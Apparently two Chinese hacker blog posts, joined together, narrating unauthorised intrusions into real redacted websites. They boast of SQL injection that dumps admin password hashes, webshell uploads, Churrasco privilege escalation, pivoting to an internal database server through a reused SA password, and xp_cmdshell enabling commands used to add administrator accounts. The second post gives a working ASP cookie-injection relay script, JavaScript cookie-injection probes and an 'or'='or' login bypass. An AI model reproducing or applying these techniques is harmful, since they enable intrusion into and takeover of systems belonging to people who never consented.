还是第一次遇到数据库服务器与WEB服务器分离的情况，刚打开网站的时候觉得挺吓人的，因为觉得这样的大网站对我来说根本无懈可击，等搞定之后再回过头来看，还是觉得是那么的不可思议。
目标：www.xxxx-xxxxxx.com
绝大多数页面都是纯静态的，ASP的很少，不过既然有，那么就要检查一下是否存在注入。检查完所能找到的ASP页面，仅发现了一个注入点。
http://www.xxxx-xxxxxx.com/xxxx/show.asp?userid=107045&id=522

检测结果是MSSQL数据库，权限为DB_OWNER。看到这种情况，第一个想法就是列出网站目录，然后备份数据库LOG得WEBSHELL。经过尝试后失败，根本列不出目录来。
第二个想法，找出管理员信息表，然后查出管理员帐号及密码，登录网站后台寻找办法拿WEBSHELL。
结果顺利的从admin表中发现了37条记录，也就是说有37个管理员哇…头一次见这么多…列了16条我就不在列了，因为感觉已经够用了，O(∩_∩)O哈哈~

有个用户的密码是07ff7c1db094deb9dcf9ddf6bec9e605，在线破解失败。
其他用户的密码都是21218cca77804d2ba1922c33e0151105，破解后的密码是888888。
在网站首页顶部直接就有通往后台的链接。

使用用户名和密码登录结果却是失败，连换了几个帐号都是失败。难道数据库搞错了？数据表错了？好好想了想，这时突然看到登录页的TITLE写着“员工登录”，眼前一亮，一般公司里面都是有员工工号的，那么刚才的字段中有一列的名字是userid，我们若把它理解为员工工号和登录页的用户名会是什么样子？
按照这个思路重新尝试登录，毫无悬念的登录成功了。可是这里的后台并不是我所想想的，左边一棵权限树，右边用来展示操作。对各个模块的功能逐一浏览后，并没有发现任何可以获取WEBSHELL的方法。

OK，再想一想一个网站为什么要有这么多的管理员呢？这时我联想到了我前段时间做的ASP.NET[毕业设计CRM系统] ，当然是为了管理方便，且每个管理员所拥有的权限是不一样的。想清楚了我们就知道下一步该怎么走了。我们再逐一登录其他管理帐号看看。换了一个帐号登录后，后台所显示的能够操作的功能更多了。看来思路正确。

这次一眼就看中了资源中心管理这个栏目，为什么呢？想一想“资源管理”，那么肯定是会提供要上传或者下载的功能吧，当然这里也可以说是纯属瞎猜，O(∩_∩)O哈哈~。
打开之后又接着点了一个添加新资源，然后就打开了个如下图的页面。可以上传资源文件，没错吧？

通过这里直接成功上传了一个ASA文件，看样子是可以上传任何文件，可怕啊…
WEBSHELL已经拿到了，可以说已经算入侵完毕了，不过在查看数据库连接字符串的时候，我发现它的数据库在内网的另一台机子上。我还没搞过数据库与网站分离的，这次小试一把。于是自己手工上传了一个CMD.EXE，再次执行OK!不过问题又是不能执行添加管理的命令等等。再次放出Churrasco.exe，执行成功。

这台服务器开启了远程终端，所以也就顺利的登录到了服务器中。

好！接下来搞定数据库服务器。从连接字符串来看数据库服务器的局域网IP为192.168.10.9。用户名（非SA）和密码都比较复杂，一般我看到密码若比较复杂的话，那么其SA密码也有极大的几率是这个密码，因为密码复杂了不好记！偷懒的行为，O(∩_∩)O哈哈~
帐户使用SA，密码用查出来的密码，数据库选择master然后连接192.168.10.9上的数据库，结果当然是连接成功啦！（不知道这算不算是社工？）也证明管理员偷懒了！O(∩_∩)O哈哈~
好，接着执行存储过程提权，exec xp_cmdshell ‘这里写DOS命令’

啊哦…看看提示什么了，从这个提示来看，数据库不是SQL Server 2000而是SQL Server 2005，SQL Server 2005默认情况下是不允许调用xp_cmdshell的，需要手工开启。恰好最近一直在用SQL Server 2005，某天没事干的时候又翻了翻相关的文档，这下正好用到了。
执行EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;即可开启。
启用之后又顺利的通过xp_cmdshell添加了超级管理员。进到刚才刚才拿到的WEB服务器，然后再用终端连接内网的192.168.10.9这台机子，再次登录成功！

至此，入侵结束。WEB服务器与数据库服务器均已被控制。又是一篇没有技术含量的入侵过程，不过还是那句话，思路决定出路。

目标是一个N个月之前就搞定过的一个站点，当时搞定它很简单，就是注入备份得WEBSHELL。这次由于某种原因又需要尝试一次。由于N久没看过这个网站了，打开后发现整个网站全部改版了，已经不再是之前的那套程序了，首页一眼望去全是HMTL网页，这下没法注了…还是尝试百度一下吧。

打开百度搜索：ASP www.xxx.org

目前世面上大部分防注入程序都没有对cookie注入进行预防，虽然cookie手工注入麻烦了点，但对于有耐性的人来说，还是可以得到后台密码的，如果是MSSQL数据库，那么就更简单了。所以本文的目的就是用工具来代替手工进行cookie注入~~，手工方法如下：比如网址如下http://zzz.com/cplb.ASP?id=46，对GET以及POST提交的数据都进行了检测，也没办法饶过。首先打开上面的地址，再清空地址栏，输入javascript:alert(document.cookie="id="+escape("46 and 1=2"))，再输入http://zzz.com/cplb.ASP，页面返回错误，说明有希望；提交javascript:alert(document.cookie="id="+escape("46 and 1=1"))，最后输入http://zzz.com/cplb.ASP，这次返回完全正常；可以确定存在cookie注入。以下代码来自寂寞的刺猬[L.S.T]，脚本高手啊~~

<%cookname=request("jmdcw")cookname=escape(cookname)jmstr="id="&cookname      '存在注入的变量jmstr=replace(jmstr,chr(32),"%20")jmstr=replace(jmstr,chr(43),"%2b")'//以下三行需要修改，Cookies值可以用Domain3.5浏览下就得到了~~jmurl="http://zzz.com/cplb.ASP" '存在注入的网址jmref="http://zzz.com/index.ASP" '来源地址jmcok="ASPSESSIONIDCQTAQBSQ=ALGDAPNDKCOHJNDCAMOHDHLK"jmcok=jmcok& ";"&jmstr&";"response.write postdata(jmurl,jmcok,jmref)function postdata(posturl,postcok,postref)dim httpset http=server.createobject("msxml2.serverxmlhttp")with http.open "POST",posturl,false.setRequestheader "content-type","application/x-www-form-urlencoded".setrequestheader "referer",postref.setrequestheader "cookie",postcok        '提交cookie值.send()        '发送数据postdata=.responsebody          '得到返回的二进制信息end withset http=nothingpostdata=bytes2BSTR(postdata) '转换二进制流end functionfunction bytes2BSTR(vin)dim strReturndim i,thischarcode,nextcharcodestrReturn=""for i=1 to lenB(vin)thischarcode=ascB(midB(vin,1,1))if thischarcode<&H80 thenstrReturn=strReturn&chr(thischarcode)elsenextcharcode=ascB(midB(vin,1+1,1))strReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode))i=i+1end ifnextbytes2BSTR=strReturnend function%>

保存为jmdcw.ASP，最后可以本机装个IIS或绿色的ASPsrv.exe，那么注入地址就是http://127.0.0.1/jmdcw.ASP?jmdcw=46
直接用工具就OK了。
经过测试我发现的注入点http://www.xxx.org/xxx/xx/sList.ASP?classid=47存在文中所说的漏洞，于是在自己的虚拟机里按照文中所述方法进行试验。
等了几分钟才终于显示出可以注入的迹象。
看到权限是DB_OWNER一下子就觉得胜利在即了，赶紧找WEB路径。不知道为什么当罗列目录的时候就直接卡到那半天不动了，以为是自己机子和网速的问题，于是放到台服务器上面去跑，可是结果同样没反应，至此决定另寻他法了。
记得当初这个服务器上只有这么一个网站，不知道过了这么久有没有新增什么网站上去。于是ping域名得到服务器IP，先习惯性的直接在浏览器中访问了一下服务器的IP，结果弹出一个英文网站来，一看是ASP的便立刻动手找注入，检查完所能发现的所有链接结果找到了一个注入点。利用这个注入点顺利的列出了目录并找到了目标站所在的物理目录。这下该可以备份到WEBSHELL了吧！可是执行了N便备份，在目录中均未备份出SHELL来，普通备份和LOG备份结果都是一个样。晕倒…没办法，再换一个思路吧。
刚才列出的目录中看到了很多个以域名命名的文件夹，有经验的人都应该知道这个是部署网站的一些习惯，也就是说这些网站也是运行在这台服务器上的。那么目前我们主要的任务就是拿到一个WEBSHELL了。一个个的翻了一下这些文件夹，发现其中一个网站使用了ewebeditor且一切都是默认的，可是访问其登录页时却是一片空白，看样子是文件在但是内容被删了。一条入侵途径又没了，再换…
跨库直接查目标站的管理帐号和密码吧，然后从它后台看看有没有办法搞到WEBSHELL，可是结果却是什么表都查不出来。这个库不行那就换一个网站的库，只要能拿到当前服务器上任何一个网站的SHELL就行。经过耐心等待，终于查出了另一个站的9个管理帐号和及密码，然而密码能破出来的只有那么几个，经过逐一登录测试，发现均无法得到WEBSHELL。至此再次失败，继续换思路。
漫无边际的翻着网站目录，突然发现有一站点是ACCESS数据库，并找到数据库文件的路径。直接URL访问数据库之后发现提示下载，管理员表中仅有一条数据，得到MD5加密后的密码，在线破解再次失败。
服务器上算上目标站共有4个站，又一次郁闷的逐一浏览着这4个站点的各个页面。突然想到在管理登录页用’or’=’or’登录试试，结果在刚才那个用ACCESS做数据库的网站中成功登录到后台…真是头大了…之前害我那么费事…
进入后台后通过上传图片失败，也没有数据库备份。这时，那个红色的模板管理引起了我的兴趣，点开一看，兴奋啊！可以添加、编辑、删除…ASP文件。通过这里顺利的拿到了WEBSHELL。
大概浏览了一下环境。
1. C盘可浏览（某些文件夹除外），不可写，不可复制等。
2. 当前站点目录可浏览（汗~这不废话）。
3. 不可执行CMD，WSCRIPT.SHELL未删除。
4. Serv_u为6.0版，端口也开放了，但提权失败。
几经测试认为没戏了，但看到有ASP.NET用户组，于是传了个ASPX上去。唯独可以执行一些DOS命令，whoami返回信息为nt authority\network service，又遇到了可以执行命令但是不能加帐户的问题，于是上传了最近刚出的Churrasco.exe（Churrasco提权可参考http://www.ineeke.cn/archives/ChurrascoHackerTool/），本来把握十足，可是执行后什么也没显示，看来是失败了。
这时想起来了CACLS，（CACLS提权方法可参考http://www.ineeke.cn/archives/302/）尝试让everyone组拥有所有权限，执行结果看上去好像是失败了。此时我可真是没辙了，关了浏览器闲聊了一会QQ，过了一会又登了进去，再次翻翻所能浏览的目录，想找找有没有管理员疏忽留下的什么东西，有点烦了，手点的快了点，点到了该站点的父目录，之前试的时候是没戏的，这时令我意想不到的事发生了，竟然成功跳进去了，哇哦，貌似我的人品突然爆发了，也可能是长相问题。看到了目标站的目录，小心翼翼的点了一下它，结果也进去了，抓紧时间赶紧扔进去了一个SHELL。至此，此次入侵任务算是成功完成，有人说那还有系统权限呢，可是我们这次的最终目的仅仅只是要目标站的WEBSHELL。
此次入侵中并未使用什么很牛X的技术，关键在于思路，当然还需要一定的运气。